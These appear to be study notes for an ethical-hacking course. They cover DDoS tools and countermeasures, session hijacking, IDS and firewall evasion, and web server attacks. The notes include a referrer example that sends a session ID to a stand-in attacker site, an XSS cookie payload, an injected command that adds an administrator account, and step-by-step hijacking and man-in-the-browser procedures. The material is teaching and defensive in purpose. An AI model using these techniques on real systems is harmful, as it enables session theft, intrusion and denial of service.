  - **Back-chaining Propagation**: Attacker places attack toolkit on his/her system itself and copy of the attack toolkit is transferred to the newly discovered

vulnerable system.

- **Autonomous Propagation**: Attack toolkit is transferred at the time when the new vulnerable system is discovered.

Botnet Trojan: Blackshades NET

- Blackshades NET has the ability to create implant binaries which employ custom obfuscation algorithms or Crypters, which can be bought through the Bot/Crypter marketplace embedded in the BlackShades controller.

Other botnes: Cythosia Botnet, Andromeda Bot, Mirai botnet

Botnet Trojan: PlugBot

- PlugBot is a hardware botnet project.
- It is a covert penetration testing device (bot) designed for covert use during physical penetration tests.

DoS/DDoS Tools

DoS and DDoS Attack Tool: Pandora DDoS Bot Toolkit

- The Pandora DDoS Bot Toolkit is an updated variant of the Dirt Jumper DDoS toolkit.
- It offers five distributed denial of service (DDoS) attack modes.
- **It generates five attack types**:
  - HTTP min
  - HTTP download
  - HTTP Combo
  - Socket Connect
  - Max Flood

DoS and DDoS Attack Tools: Dereil and HOIC

- **Dereil**: Dereil is professional (DDoS) Tools with modern patterns for attack via TCP, UDP, and HTTP protocols.
- **HOIC**: HOIC makes DDoS attacks to any IP address, with a user selected port and a user selected protocol.

DoS and DDoS Attack Tools: DoS HTTP and BanglaDos

- **DoS HTTP**:
  - DoSHTTP is HTTP Flood Denial of Service (DoS) Testing Tool for Windows
  - It includes URL verification, HTTP redirection, port designation, performance monitoring and enhanced reporting.
  - It uses multiple asynchronous sockets to perform an effective HTTP Flood.
- **BanglaDos**

DoS and DDoS Attack Tools

DoS and DDoS Attack Tool for Mobile: AnDOSid

- AnDOSid allows attackers to simulate a DOS attack (A http post flood attack to be exact) and DDoS attack on a web server from mobile phones.

DoS and DDoS Attack Tool for Mobile: Low Orbit Ion Cannon (LOIC)

- Android version of Low Orbit Ion Cannon (LOIC) software is used for flooding packets which allows attackers to perform DDoS attacks on target organization.

DDoS Countermeasures

Detection Techniques

- Detection techniques are based on identifying and discriminating the illegitimate traffic increase and flash events from legitimate packet traffic.
- All detection techniques define an attack as an abnormal and noticeable deviation from a threshold of normal network traffic statistics.

1. Activity Profiling
2. Wavelet-based Signal Analysis
3. Changepoint Detection

Activity Profiling

- An attack is indicated by:
    - An increase in activity levels among the network flow clusters.
    - An increase in the overall number of distinct clusters (DDoS attack)
- Activity profile is done based on the average packet rate for a network flow, which consists of consecutive packets with similar packet fields.
- Activity profile is obtained by monitoring the network packet's header information.

Activity Profiling monitors a network packet's header information, calculates the average packet rate for a network flow.

Wavelet-based Signal Analysis

- Wavelet analysis describes an input signal in terms of spectral components.
- Wavelets provide for concurrent time and frequency description.
- Analyzing each spectral window's energy determines the presence of anomalies.
- Signal analysis determines the time at which certain frequency components are present.

Sequential Change-Point Detection

- **Isolate Traffic**: Change-point detection algorithms isolate changes in network traffic statistics caused by attacks.
- **Filter Traffic**: The algorithms filter the target traffic data by address, port, or protocol and store the resultant flow as a time series.

- **Identify Attack**: Sequential change-point detection technique uses Cumulative Sum (Cusum) algorithm to identify and locate the DoS attacks; the algorithm calculates deviations in the actual versus expected local average in the traffic time series.
- **Identify Scan Activity**: This technique can also be used to identify the typical scanning activities of the network worms.

DoS/DDoS Countermeasure Strategies

- **Absorbing the Attack**:
    - Use additional capacity to absorb attack; it requires preplanning.
    - It requires additional resources.
- **Degrading Services**:
    - Identify critical services and stop non critical services.
- **Shutting Down the Services**:
    - Shut down all the services until the attack has subsided.

DDoS Attack Countermeasures

- Protect Secondary Victims
- Neutralize Handlers
- Prevent Potential Attacks
- Deflect Attacks
- Mitigate Attacks
- Post-attack Forensics

DoS/DDoS Attack Countermeasures: Protect Secondary Victims

- Install anti-virus and anti-Trojan software and keep these up-to-date.
- Increase awareness of security issues and prevention techniques in all Internet users.
- Disable unnecessary services, uninstall unused applications, and scan all the files received from external sources.

- Properly configure and regularly update the built-in defensive mechanisms in the core hardware and software of the system.

DoS/DDoS Attack Countermeasures: Detect and Neutralize Handlers

- **Network Traffic Analysis**: Analyze communication protocols and traffic patterns between handlers and clients or handlers and agents in order to identify the network nodes that might be infected by the handlers.
- **Neutralize Botnet Handlers**: There are usually few DDoS handlers deployed as compared to the number of agents. Neutralizing a few handlers can possibly render multiple agents useless, thus thwarting DDoS attacks.
- **Spoofed Source Address**: There is a decent probability that the spoofed source address of DDoS attack packets will not represent a valid source address of the definite sub-network.

DoS/DDoS Countermeasures: Detect Potential Attacks

- **Egress Filtering**:
  - Scanning the packet headers of IP packets leaving a network.
  - Egress filtering ensures that unauthorized or malicious traffic never leaves the internal network.
- **Ingress Filtering**:
  - Protects from flooding attacks which originate from the valid prefixes (IP address)
  - It enables the originator to be traced to its true source.
- **TCP Intercept**:
  - Configuring TCP Intercept prevents DoS attacks by intercepting and validating the TCP connection requests.

DoS/DDoS Countermeasures: Deflect Attacks

- Systems that are set up with limited security, also known as Honeypots, act as an enticement for an attacker.
- Honeypots serve as a means for gaining information about attackers, attack techniques and tools by storing a record of the system activities.
- Use defense-in-depth approach with IPSes at different network points to divert suspicious DoS traffic to several honeypots.

- Low-interaction honeypots: All services offered by a Low Interaction Honeypots are emulated.
- High-interaction honeypots: (honeynet) High Interaction Honeypots make use of the actual vulnerable service or software.
- KFSensor: KFSensor is a Windows-based honeypot IDS.

DoS/DDoS Countermeasures: Mitigate Attacks

- **Load Balancing**:
    - Increase bandwidth on critical connections to absorb additional traffic generated by an attack.
    - Replicate servers to provide additional failsafe protection.
    - Balance load on each server in a multiple-server architecture to mitigate DDoS attack.

- **Throttling**:
    - Set routers to access a server with a logic to throttle incoming traffic levels that are safe for the server.
    - Throttling helps in preventing damage to servers by controlling the DoS traffic.
    - Can be extended to throttle DDoS attack traffic and allow legitimate user traffic for better results.
- **Drop Request**:
    - Drop packets when a load increases.

Post-Attack Forensics

- DDoS attack traffic patterns can help the network administrators to develop new filtering techniques for preventing the attack traffic from entering or leaving the networks.
- Analyze router, firewall, and IDS logs to identify the source of the DoS traffic. Try to trace back attacker IP's with the help of intermediary ISPs and law enforcement agencies.
- Traffic pattern analysis: Data can be analyzed - post-attack - to look for specific characteristics within the attacking traffic.
- Using these characteristics, the result of traffic pattern analysis can be used for updating load-balancing and throttling countermeasures.

Techniques to Defend against Botnets

- **RFC 3704 Filtering**: Any traffic coming from unused or reserved IP addresses is bogus and should be filtered at the ISP before it enters the Internet link.
- **Cisco IPS Source IP Reputation Filtering**: Reputation services help in determining if an IP or service is a source of threat or not, Cisco IPS regularly updates its database with known threats such as botnets, botnet harvesters, malwares, etc. and helps in filtering DoS traffic.
- **Black Hole Filtering**:
    - Black hole refers to network nodes where incoming traffic is discarded or dropped without informing the source that the data did not reach its intended recipient.
    - Black hole filtering refers to discarding packets at the routing level.
- **DDoS Prevention Offerings from ISP or DDoS Service**: Enable IP Source Guard (in CISCO) or similar features in other routers to filter traffic based on the DHCP snooping binding database or IP source bindings which prevents a bot from sending spoofed packets.

DoS/DDoS Countermeasures

- Use strong encryption mechanisms such as WPA2, AES 256, etc. for broadband networks to withstand eavesdropping.
- Ensure that the software and protocols are up-to-date and scan the machines thoroughly to detect any anomalous behavior.
- Disable unused and insecure services.
- Block all inbound packets originating from the service ports to block the traffic from reflection servers.
- Update kernel to the latest release.
- Prevent the transmission of the fraudulently addressed packets at ISP level.
- Implement cognitive radios in the physical layer to handle the jamming and scrambling attacks.
- Configure the firewall to deny external ICMP traffic access.
- Perform the thorough input validation.
- Prevent use of unnecessary functions such as gets, strcpy etc.
- Secure the remote administration and connectivity testing.
- Data processed by the attacker should be stopped from being executed.
- Prevent the return addresses from being overwritten.

DoS/DDoS Protection at ISP Level

- Most ISPs simply block all the requests during a DDoS attack, denying even the legitimate traffic from accessing the service.
- ISPs offer in-the-cloud DDoS protection for Internet links so that they do not become saturated by the attack.
- Attack traffic is redirected to the ISP during the attack to be filtered and sent back.
- Administrators can request ISPs to block the original affected IP and move their site to another IP after performing DNS propagation.

Enabling TCP Intercept on Cisco IOS Software

- To enable TCP intercept, use these commands in global configuration mode:
    - Define an IP extended access list: `access-list access-list {deny | permit} tcp any destination destination-wildcard`
    - Enable TCP Intercept: `ip tcp Intercept list access-list-number`
- TCP intercept can operate in either active intercept mode or passive watch mode. The default is intercept mode.
- The command to set the TCP intercept mode in global configuration mode:
    - Set the TCP intercept mode: `ip tcp intercept mode {intercept | watch}`

Session Hijacking

What is Session Hijacking?

- Session hijacking refers to an attack where an attacker takes over a valid TCP communication session between two computers.
- Since most authentication only occurs at the start of a TCP session, this allows the attacker to gain access to a machine.
- Attackers can sniff all the traffic from the established TCP sessions and perform identity theft, information theft, fraud, etc.
- The attacker steals a valid session ID and uses it to authenticate himself with the server.

Why is Session Hijacking Successful?

- No account lockout for invalid session IDs.

- Weak session ID generation algorithm or small session IDs.

- Insecure handling of session IDs.
  DNS poisoning, XSS, exploiting a bug in browser
- Indefinite session expiration time.

- Most computers using TCP/IP are vulnerable.
- Most countermeasures do not work unless you use encryption.

Session Hijacking Process

- **Stealing**: The attacker uses different techniques to steal session IDs.
  - Some of the techniques used to steal session IDs:
    1. Using the HTTP referer header.
    2. Sniffing the network traffic.
    3. Using the cross-site-scripting attacks.
    4. Sending Trojans on client machines.
- **Guessing**: The attacker tries to guess the session IDs by observing variable parts of the session IDs.
  - http://www.fakesite.com/view/VW48266762824302
  - http://www.fakesite.com/view/VW48266762826502
  - http://www.fakesite.com/view/VW48266762828902
- **Brute Forcing**: The attacker attempts different IDs until he succeeds.
  - Using brute force attacks, an attacker tries to guess a session ID until he finds the correct session ID.
- **Stealing Session IDs**:
  - Using a "referrer attack," an attacker tries to lure a user to click on a link to malicious site (say www.hacksite.com)

  - For example, GET /index.html HTTP/1.0 Host: www.hacksite.com Referrer: www.webmail.com/viewmsg.asp?msgid=689645&SID=2556X54VA75

  - The browser directs the referrer URL that contains the user's session ID to the attacker's site (www.hacksite.com), and now the attacker possesses the user's session ID.
- Note: Session ID brute forcing attack is known as session prediction attack if the predicted range of values for a session ID is very small.
- **Command Injection**: Start injecting packets to the target server.

- **Session ID prediction**: Take over the session.
- **Session Desynchronization**: Break the connection to the victim's machine.

- **Monitor**: Monitor the flow of packets and predict the sequence number.
- **Sniff**: Place yourself between the victim and the target (you must be able to sniff the network).
- Session hijacking can be broken down into three broad phases:
    - Tracking the connection
    - Desynchronizing the connection
    - Injecting the attacker's packet

Packet Analysis of a Local Session Hijack

- According to the diagram, the next expected sequence number would be 1420. If you can transmit that packet sequence number before the user does, you can desynchronize the connection between the user and the server.
- After establishing the connection between the attacker and the server, though the user sends the data with the correct sequence number, the server drops the data considering it as a resent packet.

- Note: Before the user could send the next data packet, the attacker predicts the next sequence number and sends the data to the server. This leads to establishment of connection between attacker and the server.
- To conduct a session hijacking attack, the attacker performs three activities:
    - Tracks a session
    - Desynchronizes the session
    - Injects attacker's commands in between

Types of Session Hijacking

- **Active Attack**: In an active attack, an attacker finds an active session and takes over.
- **Passive Attack**: With a passive attack, an attacker hijacks a session but sits back and watches and records all the traffic that is being sent forth.

The essential difference between an active and passive hijacking is that while an active attack takes over an existing session, a passive hijack monitors an ongoing session.

Session Hijacking in OSI Model

- **Network Level Hijacking**: Network level hijacking can be defined as the interception of the packets during the transmission between the client and the server in a TCP and UDP session.
- **Application Level Hijacking**: Application level hijacking is about gaining control over the HTTP's user session by obtaining the session IDs.

Spoofing vs. Hijacking

- **Spoofing Attack**:
    - Attack pretends to be another user or machine (victim) to gain access.
    - Attacker does not take over an existing active session. Instead he initiates a new session using the victim's stolen credentials.
- **Hijacking**:
    - Session hijacking is the process of taking over an existing active session.
    - Attacker relies on the legitimate user to make a connection and authenticate.
- Blind hijacking:
    - An attacker injects data such as malicious commands into intercepted communications between two hosts commands like "net.exe localgroup administrators /add EvilAttacker".
    - This is called blind hijacking because the attacker can only inject data into the communications stream; he or she cannot see the response to that data (such as "The command completed successfully.")
    - Essentially, the blind hijack attacker is shooting data in the dark, but as you will see shortly, this method of hijacking is still very effective.

Application-level Session Hijacking

- In a session hijacking attack, a session token is stolen or valid session token is predicted to gain unauthorized access to the web server.
- A session token can be compromised in various ways:
    - Session sniffing
    - Predictable session token

- Man-in-the-middle attack
- Man-in-the-browser attack
- Cross-site script attack
- Cross-site request forgery attack
- Session replay attack
- Session fixation

Compromising Sessions IDs using Sniffing

- Attacker uses a sniffer to capture a valid session token or session ID.
- Attacker then uses the valid token session to gain unauthorized access to the web server.

Tools: Wireshark, SmartSniffer

Compromising Session IDs by Predicting Session Token

- Attackers can predict session IDs generated by weak algorithms and impersonate a web site user.
- Attackers perform analysis of variable sections of session IDs to determine the existence of a pattern.
- The analysis is performed manually or by using various cryptanalytic tools.
- Attackers collect a high number of simultaneous session IDs in order to gather samples in the same time window and keep the variable constant.

How to Predict a Session Token

- Most of the web servers use custom algorithms or a predefined pattern to generate sessions IDs.
- Attackers guess the unique session value or deduce the session ID to hijack the sessions.
- **Captures**: Attacker captures several session IDs and analyzes the pattern.
  - http://www.juggyboy.com/view/JBEX25022014152820
  - http://www.juggyboy.com/view/JBEX25022014153020
  - http://www.juggyboy.com/view/JBEX25022014160020

    - http://www.juggyboy.com/view/JBEX25022014164020
- **Predicts**: At 16:25:55 on Feb-25, 2014, the attacker can successfully predict the session ID to be http://www.juggyboy.com/view/JBEX25022014162555
    - JBEX: Constant
    - 25022014: Date
    - 162555: Time

Compromising Session IDs Using Man-in-the-Middle Attack

- The man-in-the-middle attack is used to intrude into an existing connection between systems and to intercept messages being exchanged.
- Attackers use different techniques and split the TCP connection into two connections.
    - Client-to-attacker connection
    - Attacker-to-‑server connection
- After the successful interception of TCP connection, an attacker can read, modify, and insert fraudulent data into the intercepted communication.
- In the case of an http transaction, the TCP connection between the client and the server becomes the target.

Compromising Session IDs Using Man-in-the-Browser Attack

- Man-in-the-browser attack uses a Trojan Horse to intercept the calls between the browser and its security mechanisms or libraries.
- It works with an already installed Trojan horse and acts between the browser and its security mechanisms.
- Its main objective is to cause financial deceptions by manipulating transactions of Internet Banking systems.

The man-in-the-browser attack will be successful irrespective of security mechanisms such as SSL, PKI, or two-factor authentication in place, as all the expected controls and security mechanisms would seem to work normally.

Steps to Perform Man-in-the-Browser Attack

1. The Trojan first infects the computer's software (OS or application).
2. The Trojan installs malicious code (extension files) and saves it into the browser configuration.
3. After the user restarts the browser, the malicious code in the form of extension files is loaded.
4. The extension files register a handler for every visit to the webpage.
5. When the page is loaded, the extension uses the URL and matches it with a list of known sites targeted for attack.
6. The user logs in securely to the website.
7. It registers a button event handler when a specific page load is detected for a specific pattern and compares it with its targeted list.
8. When the user clicks on the button, the extension uses the DOM interface and extracts all the data from all form fields and modifies the values.
9. The browser sends the form and modified values to the server.
10. The server receives the modified values but cannot distinguish between the original and the modified values.
11. After the server performs the transaction, a receipt is generated.
12. Now, the browser receives the receipt for the modified transaction.
13. The browser displays the receipt with the original details.
14. The user thinks that the original transaction was received by the server without any interceptions.

Compromising Session IDs Using Client-side Attacks

- **Cross-Site Scripting (XSS)**: XSS enables attackers to inject malicious client side scripts into the web pages viewed by other users.
- **Malicious JavaScript Codes**: A malicious script can be embedded in a web page that does not generate any warning but it captures session tokens in the background and sends it to the attacker.
- **Trojans**: A Trojan horse can change the proxy settings in the user's browser to send all the sessions through the attackers machine.

Compromising Session IDs Using Client-side Attacks: Cross-site Script Attack

- If an attacker sends a crafted link to the victim with the malicious JavaScript, when the victim clicks on the link, the JavaScript will run and complete the instructions made by the attacker.
- `<SCRIPT>alert(document.cookie);</SCRIPT>`

Compromising Session IDs Using Client-side Attacks: Cross-site Request Forgery Attack

- Cross-Site Request Forgery (CSRF) attack exploits victim's active session with a trusted site in order to perform malicious activities.

a.k.a. one-click attack or session riding

Compromising Session IDs Using Client-side Attacks: Session Replay Attack

- In a session replay attack, the attacker listens to the conversation between the user and the server and captures the authentication token of the user.
- Once the authentication token is captured, the attacker replays the request to the server with the captured authentication token and gains unauthorized access to the server.

Compromising Session IDs Using Session Fixation

- Session Fixation is an attack that allows an attacker to hijack a valid user session.
- The attacker tries to lure a user to authenticate himself with a known session ID and then hijacks the user-validated session by the knowledge of the used session ID.
- The attacker has to provide a legitimate web application session ID and try to lure the victim browser to use it.
- Several techniques to execute Session Fixation attack are:
    - Session token in the URL argument
    - Session token in a hidden form field
    - Session ID in a cookie

Session Fixation Attack

- Attackers exploit the vulnerability of a server which allows a user to use a fixed SID.
- Attacker provides a valid SID to a victim and lures him to authenticate himself using that SID.
- There are three phases to carry out Session fixation attack:
    - Session set-up phase
    - Fixation phase。
    - Entrance phase

Session Hijacking Using Proxy Servers

- Attackers lure victims to click on bogus links which look legitimate but redirect users to the attacker server.
- Attacker forwards requests to the legitimate server on behalf of the victim and serves as a proxy for the entire transaction.
- Attacker then captures the sessions information during interaction of legitimate server and user.

Network-level Session Hijacking

- The network-level hijacking relies on hijacking transport and Internet protocols used by web applications in the application layer.
- By attacking the network-level sessions, the attacker gathers some critical information which is used to attack the application level.
- Network-level hijacking includes:
    - Blind Hijacking
    - UDP Hijacking
    - TCP/IP Hijacking
    - RST Hijacking
    - Man-in-the-Middle: Packet Sniffer
    - IP Spoofing: Source Routed Packets

The 3-Way Handshake

- If the attacker can anticipate the next sequence and ACK number that Bob will send, he/she will spoof Bob's address and start a communication with the server.
- For the three parties to communicate, the following information is required:
    - IP address
    - Port numbers
    - Sequence numbers

TCP/IP Hijacking

- TCP/IP hijacking is a hacking technique that uses spoofed packets to take over a connection between a victim and a target machine.
- The victim's connection hangs and the attacker is then able to communicate with the host's machine as if the attacker is the victim.
- To launch a TCP/IP hijacking attack, the attacker must be on the same network as the victim.
- The target and the victim machines can be anywhere.

TCP/IP Hijacking Process

1. The attacker sniffs the victim's connection and uses the victim's IP to send a spoofed packet with the predicted sequence number.
2. The receiver processes the spoofed packet, increments the sequence number, and sends acknowledgement to the victim's IP.
3. The victim machine is unaware of the spoofed packet, so it ignores the receiver machine's ACK packet and turns the sequence number count off.
4. Therefore, the receiver receives packets with the incorrect sequence number.
5. The attacker forces the victim's connection with the receiver machine to a desynchronized state.
6. The attacker tracks sequence numbers and continuously spoofs packets that come from the victim's IP.
7. The attacker continues to communicate with the receiver machine while the victim's connection hangs.

IP Spoofing: Source Routed Packets

1. Packet source routing technique is used for gaining unauthorized access to a computer with the help of a trusted host's IP address.
2. The attackers spoofs the host's IP address so that the server managing a session with the host, accepts the packets from the attacker.
3. When the session is established, the attacker injects forged packets before the host responds to the server.
4. The original packet from the host is lost as the server gets the packet with a sequence number already used by the attacker.
5. The packets are source-routed where the path to the destination IP can be specified by the attacker.

RST Hijacking

- RST hijacking involves injecting an authentic-looking reset (RST) packet using a spoofed source address and predicting the acknowledgement number.
- The hacker can reset the victim's connection if it uses an accurate acknowledgement number.
- The victim believes that the source actually sent the reset packet and resets the connection.
- RST Hijacking can be carried out using a packet crafting tool such as Colasoft's Packet Builder and TCP/IP analysis tool such as tcpdump.

Blind Hijacking

- The attacker can inject the malicious data or commands into the intercepted communications in the TCP session even if the source-routing is disabled.
- The attacker can send the data or commands but has no access to see the response.

MiTM Attack Using Forged ICMP and ARP Spoofing

- In this attack, the packet sniffer is used as an interface between the client and the server.
- ARP spoofing involves fooling the host by broadcasting the ARP request and changing its ARP tables by sending the forged ARP replies.
- The packets between the client and the server are routed through the hijacker's host by using two techniques:
    - **Using Forged Internet Control Message Protocol (ICMP)**: It is an extension of IP to send error messages where the attacker can send messages to fool the client and the server.
        - The technique used is to forge ICMP packets to redirect traffic between the client and the host through the hijacker's host.
        - The hacker's packets send error messages that indicate problems in processing packets through the original connection.
        - This fools the server and client into routing through its path instead.
    - **Using Address Resolution Protocol (ARP) Spoofing**: ARP is used to map the network layer address (IP address) to link layer addresses (MAC address).

UDP Hijacking

- A network-level session hijacking where the attacker sends a forged server reply to a victim's UDP request before the intended server replies to it.
- The attacker uses man-in-the-middle attack to intercept the server's response to the client and sends its own forged reply.

Session Hijacking Tools

Zaproxy

- The OWASP Zed Attack Proxy (ZAP) is an integrated penetration testing tool for finding vulnerabilities in web applications.

Burp Suite

- Burp suite allows the attacker to inspect and modify traffic between the browser and the target application.
- It analyzes all kinds of content, with automatic colorizing of request and response syntax.

JHijack

- A Java hijacking tool for web application session security assessment.
- A simple Java Fuzzer mainly used for numeric session hijacking and parameter enumeration.

Session Hijacking Tools for Mobile: DroidSheep and DroidSniff

- **DroidSheep**:
  - DroidSheep is a simple Android tool for web session hijacking (sidejacking).
  - It listens for HTTP packets sent via a wireless (802.11) network connection and extracts the session IDs from these packets.
- **DroidSniff**:
  - DroidSniff is an Android app for security analysis in wireless networks and capturing Facebook, Twitter, Linkedin, and other accounts.

Session Hijacking Countermeasures

- **Detection Method**
  - Manual Method
    - Using Packet Sniffing Software
      - Normal Telnet Session
      - Forcing an ARP Entry
  - Automatic Method
    - Intrusion Detection Systems (IDS)
    - Intrusion Prevention Systems (IPS)

Protecting against Session Hijacking

- Use Secure Shell (SSH) to create a secure communication channel.
- Pass the authentication cookies over HTTPS connection.
- Implement the log-out functionality for the user to end the session.
- Generate the session ID after successful login and accept sessions IDs generated by server only.
- Ensure data in transit is encrypted and implement defense-in-depth mechanisms.

- Use a string or long random number as a session key.
- Use different username and passwords for different accounts.
- Educate the employees and minimize remote access.
- Implement timeout() to destroy the session when expired.
- Do not transport session ID in query string.
- Use switches rather than hubs and limit incoming connections.
- Ensure client-side and server-side protection software are in active state and up to date.
- Use strong authentication (like Kerberos) or peer-to-peer VPN's.
- Configure the appropriate internal and external spoof rules on gateways.
- Use IDS products or ARPwatch for monitoring ARP cache poisoning.
- Use encrypted protocols that are available at OpenSSH suite.

Methods to Prevent Session Hijacking: To be Followed by Web Developers

- Create session keys with lengthy strings or random numbers so that it is difficult for an attacker to guess a valid session key.
- Regenerate the session ID after a successful login to prevent session fixation attack.
- Encrypt the data and session key that is transferred between the user and the web servers.
- Expire the session as soon as the user logs out.
- Prevent Eavesdropping within the network.
- Reduce the lifespan of a session or a cookie.

Methods to Prevent Session Hijacking: To be Followed by Web Users

- Do not click on the links that are received through mails or IMs.
- Use Firewalls to prevent the malicious content from entering the network.
- Use firewall and browser settings to restrict cookies.
- Make sure that the website is certified by the certifying authorities.
- Make sure you clear history, offline content, and cookies from your browser after every confidential and sensitive transaction.
- Prefer https, a secure transmission, rather than http when transmitting sensitive and confidential data.
- Logout from the browser by clicking on the logout button instead of closing the browser.

Approaches Vulnerable to Session Hijacking and their Preventative Solutions

Issue	Solution	Notes
Telnet, rlogin	OpenSSH or ssh (Secure Shell)	It sends encrypted data and makes it difficult for attacker to send the correctly encrypted data if session is hijacked
FTP	sFTP	It reduces the chances of successful hijacking
HTTP	SSL (Secure Socket Layer)	It reduces the chances of successful hijacking
IP	IPSec	It prevents hijacking by securing IP communications
Any Remote Connection	VPN	Implementing encrypted VPN such as PPTP, L2PT, IPSec, etc. for remote connection prevents session hijacking
SMB (Server Message Block)	SMB signing	It improves the security of the SMB protocol and reduces the chances of session hijacking
Hub Network	Switch Network	It mitigates the risk of ARP spoofing and other session hijacking attacks

IDS Evasion Techniques

- Use fragmented IP packets.
- Spoof your IP address when launching attacks and sniff responses from server.
- Use source routing (if possible).
- Connect to proxy servers or compromised trojaned machines to launch attacks.

Insertion Attack

1. An IDS blindly believes and accepts a packet that an end system rejects.
2. An attacker exploits this condition and inserts data into the IDS.
3. This attack occurs when NIDS is less strict in processing packets.
4. Attacker obscures extra traffic and IDS concludes traffic is harmless.
5. Hence, the IDS gets more packets than the destination.

Session Splicing

- A technique used to bypass IDS where an attacker splits the attack traffic into many packets such that no single packet triggers the IDS.
- It is effective against IDSs that do not reconstruct packets before checking them against intrusion signatures.
- If attackers are aware of delay in packet reassembly at the IDS, they can add delays between packet transmissions to bypass the reassembly.
- Many IDSs stop reassembly if they do not receive packets within a certain time.
- IDS will stop working if the target host keeps the session active for a time longer than the IDS reassembly time.
- Any attack attempt after a successful splicing attack will not be logged by the IDS.

Attackers can use different tools such as **Nessus** and **Whisker** for session-splicing attacks.

Other Types of Evasion

- **Encryption**: When the attacker has already established an encrypted session with the victim, it results in the most effective evasion attack.
    - If an attacker succeeds in establishing an encrypted session with his/her target host using a secure shell (SSH), secure socket layer (SSL), or a virtual private network (VPN) tunnel, the IDS will not analyze the packets going through these encrypted communications.
    - He/she can send the malicious traffic using this secure channel, thus evading IDS security.
- **Flooding**: The attacker sends loads of unnecessary traffic to produce noise, and if IDS does not analyze the noise traffic well, then the true attack traffic may go undetected.

Firewall Evasion Techniques

Bypassing Firewall through SSH Tunneling Method

- **OpenSSH**: Attackers use OpenSSH to encrypt and tunnel all the traffic from a local machine to a remote machine to avoid detection by perimeter security controls.

SSH Tunneling Tool: Bitvise

- Bitvise SSH Server provides secure remote login capabilities to Windows workstations and servers.
- SSH Client includes powerful tunneling features including dynamic port forwarding through an integrated proxy, and also remote administration for the SSH Server.

Honeypots
Focus on passive (listening) methods

Hacking Web Servers

Web Server Security Issue

- Web servers include both hardware and software that hosts websites; attackers usually target software vulnerabilities and configuration errors to compromise web servers.
- Network and OS level attacks can be well defended using proper network security measures such as firewalls, IDS, etc., however, web servers are accessible from anywhere on the web, which makes them less secured and more vulnerable to attacks.

Why Web Servers Are Compromised

- Improper file and directory permissions.
- Installing the server with default settings.
- Unnecessary services enabled, including content management and remote administration.
- Security conflicts with business ease-of-use case
- Lack of proper security policy, procedures, and maintenance.
- Improper authentication with external systems.
- Default accounts with their default or no passwords.
- Unnecessary default, backup, or sample files.
- Misconfiguration in web server, operating systems, and networks.
- Bugs in server software, OS, and web applications.
- Misconfigured SSL certificates and encryption settings.
- Administrative or debugging functions that are enabled or accessible on web servers.
- Use of self-signed certificates and default certificates.

Impact of Webserver Attacks

- Compromise of user accounts.
- Website defacement.
- Secondary attacks from the Website.
- Root access to other applications or servers.
- Data tampering and data theft.

Open Source Web Server Architecture

- Functions of principal components in open source web server architecture:
    - **Linux** is a server's OS that provides a secure platform for the webserver.
    - **Apache** is a web server component that handles each HTTP request and response.
    - **MySQL** is a relational database used to store the webserver's content and configuration information.
    - **PHP** is the application layer technology used to generate dynamic web content.

IIS Web Server Architecture

- Internet Information Services (IIS) for Windows Server is a flexible, secure, and easy-to-manage web server for hosting anything on the web.

Hacking Web Applications

Web Server Attacks

DoS/DDoS Attacks

- Attackers may send numerous fake requests to the web server which results in the web server crash or become unavailable to the legitimate users.
- Attackers may target high profile web servers such as banks, credit card payment gateways, government owned services, etc. to steam user credentials.
- To crash the web server running the application, the attacker targets the following services by consuming the web server with fake requests:
    - Network bandwidth
    - Server memory
    - Application exception handling mechanism
    - CPU usage
    - Hard disk space
    - Database space

DNS Server Hijacking

- Attacker compromises DNS server and changes the DNS settings so that all the requests coming toward the target web server should be redirected to his/her own malicious server.

DNS Amplification Attack

- Attacker takes the advantages of DNS recursive method of DNS redirection to perform DNS amplification attack.
- Attackers use compromised PCs with spoofed IP addresses to amplify the DDoS attacks on victims' DNS servers by exploiting DNS recursive methods.

Directory Traversal Attacks

- In directory traversal attacks, attackers use ../ (dot-dot-slash) sequence to access restricted directories outside of the web server root directory.
- Attackers can use trial and error methods to navigate the outside of the root directory and access sensitive information in the system.

Man-in-the-Middle/Sniffing Attack

- Man-in-the-Middle (MITM) attacks allow an attacker to access sensitive information by intercepting and altering communications between an end-user and web servers.
- Attacker acts as a proxy such that all the communication between the user and web server passes through him.

Phishing Attacks

- Attacker tricks users to submit login details for websites that look legitimate, but redirect to the malicious website hosted on the attacker web server.
- Attacker steals the credentials entered and uses it to impersonate with the website hosted on the legitimate target server.
- Attackers can then perform unauthorized or malicious operations with the website target server.

Website Defacement

- Web defacement occurs when an intruder maliciously alters the visual appearance of a web page by inserting or substituting provocative and frequently offending data.
- Defaced pages expose visitors to some propaganda or misleading information until the unauthorized change is discovered and corrected.
- Attackers use a variety of methods such as MYSQL injection to access a site in order to deface it.

Web Server Misconfiguration

- Server misconfiguration refers to configuration weaknesses in web infrastructure that can be exploited to launch various attacks on web servers such as directory traversal, server intrusion, and data theft.
    - Sample Configuration, and Script Files.
    - Anonymous or Default Users/Passwords.
    - Verbose debug/error messages.
    - Misconfigured/Default SSL Certificates.
    - Unnecessary Services Enabled.
    - Remote Administration Functions.

Web Server Misconfiguration Example

- This configuration allows anyone to view the server status page, which contains detailed information about the current use of the web server, including information about the current hosts and requests being processed.

httpd.conf file on an Apache server:
<Location /server-status>
SetHandler server-status
</Location>
    -
- This configuration gives verbose error messages.

php.ini file:
display_error = On
log-errors = On

error-log = syslog
ignore_repeated_errors = Off

Keeping the server configuration secure requires vigilance - OWASP

HTTP Response Splitting Attack (?)

- HTTP response splitting attack involves adding header response data into the input field so that the server split the response into two responses.
- The attacker can control the second response to redirect users to a malicious website whereas the other responses will be discarded by the web browser.
- Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)
- CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
- CAPEC-34: HTTP Response Splitting
- CRLF Injection attacks and HTTP Response Splitting
- Cache: (web cache poisoning)
    - client
    - proxy
    - server

Web Cache Poisoning Attack

- An attacker forces the web server's cache to flush its actual cache content and sends a specially crafted request, which will be stored in cache.

SSH Bruteforce Attack

- SSH protocols are used to create an encrypted SSH tunnel between two hosts in order to transfer unencrypted data over an insecure network.
- Attackers can bruteforce SSH login credentials to gain unauthorized access to a SSH tunnel.
- SSH tunnels can be used to transmit malwares and other exploits to victims without being detected.

SSH: TCP port 22

Web Server Password Cracking

- An attacker tries to exploit weaknesses to hack well-chosen passwords.
- The most common passwords found are password, root, administrator, admin, demo, test, guest, qwerty, pet names, etc.
- **Attacker target mainly for**:
    - SMTP servers
    - Web shares
    - SSH Tunnels
    - Web form authentication cracking
    - FTP servers
